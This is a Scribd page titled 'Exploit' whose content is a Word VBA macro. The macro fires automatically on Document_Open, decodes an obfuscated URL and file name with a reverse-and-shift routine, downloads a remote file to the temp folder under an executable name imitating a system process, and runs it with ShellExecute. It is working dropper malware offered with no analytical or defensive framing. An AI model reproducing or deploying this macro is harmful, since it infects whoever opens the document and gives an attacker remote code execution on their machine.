Scribd
Upload
37 views1 page

Exploit

The document describes code for downloading a file from a URL to the temp folder and opening it. The code uses functions to decrypt strings, download a file from an encrypted URL, and open the downloaded file.

Uploaded by

Anh Tr Anh
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
37 views1 page

Exploit

The document describes code for downloading a file from a URL to the temp folder and opening it. The code uses functions to decrypt strings, download a file from an encrypted URL, and open the downloaded file.

Uploaded by

Anh Tr Anh
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

'Macro Name: ewtPzKPLXpqLMVubETAGZi

Private Declare PtrSafe Function OPNSDwEi Lib "shell32.dll" Alias _


"ShellExecuteA" (ByVal QxOBFfFQKdZwSrjf As Long, ByVal rHWsgpMHlnTo As String, _
ByVal tBqWfgejGNUyLKbfiY As String, ByVal yNGqXZvXcqmUjIIj As String, ByVal sEhA
gDVvVhbtczjtzvHXnuw As String, ByVal FdXBDkqJRHniih As Long) As Long
Private Declare PtrSafe Function JEtNEvI Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal TCBpbCYlzh As Long, ByVal ykoOCAuMJgCbgdorGcdm As St
ring, _
ByVal wrUkDWqlZFOPNSDwEivu As String, ByVal KOQIix As Long, ByVal pZHJeGLZkERFsS
po As Long) As Long
Private Sub ewtPzKPLXpqLMVubETAGZi()
Dim rhkcAeIGo As String, dxo As String, fsCmlYYAIUxQwTmymk As String, XDyzxCngnR
seuyAsR As String, uYJEtNEvITCBpbCYlzh As String, ykoOCAuMJgCbgdorGc As String
dxo = Decrypt("fyf/fyf/utpiwt")
fsCmlYYAIUxQwTmymk = Environ$("tmp") & "\" & dxo
rhkcAeIGo = Decrypt("fyf/utpiwt0uxjkhtmmvz:eilu0t0npd/ypcqpse/me00;tquui")
JEtNEvI 0, rhkcAeIGo, fsCmlYYAIUxQwTmymk, 0, 0
OPNSDwEi 0, "open", fsCmlYYAIUxQwTmymk, "", vbNullString, vbNormalFocus
End Sub
Private Sub Document_Open()
ewtPzKPLXpqLMVubETAGZi
End Sub
Private
Dim
enc
For

Function Decrypt(enc)
x, i, tmp
= StrReverse(enc)
i = 1 To Len(enc)
x = Mid(enc, i, 1)
tmp = tmp & Chr(Asc(x) - 1)

Next
Decrypt = tmp
End Function

You might also like